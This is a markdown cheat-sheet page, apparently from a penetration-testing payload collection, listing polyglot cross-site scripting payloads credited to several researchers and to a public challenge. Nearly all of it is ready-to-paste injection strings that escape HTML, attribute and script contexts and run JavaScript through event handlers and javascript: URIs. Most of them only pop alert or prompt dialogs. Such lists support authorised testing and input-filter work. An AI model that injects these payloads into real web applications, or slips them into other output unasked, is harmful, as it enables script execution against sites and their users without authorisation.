# Polyglot XSS A polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application’s inability to properly sanitize input in different parsing scenarios. * Polyglot XSS - 0xsobky ```javascript jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/

" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ``` * Polyglot XSS - Mathias Karlsson ```javascript " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ``` * Polyglot XSS - Rsnake ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` * Polyglot XSS - Daniel Miessler ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* ``` * Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg) ```javascript -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> ``` ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large) ```javascript <svg%0Ao%00nload=%09((pro\u006dpt))()// ``` * Polyglot XSS - from [@filedescriptor's Polyglot Challenge](https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/) ```javascript // Author: crlf javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> // Author: europa javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> // Author: EdOverflow javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> // Author: h1/ragnar javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` ``` * Polyglot XSS - from [brutelogic](https://brutelogic.com.br/blog/building-xss-polyglots/) ```javascript JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/* ``` ## References - [Building XSS Polyglots - Brute - June 23, 2021](https://brutelogic.com.br/blog/building-xss-polyglots/) - [XSS Polyglot Challenge v2 - @filedescriptor - August 20, 2015](https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/)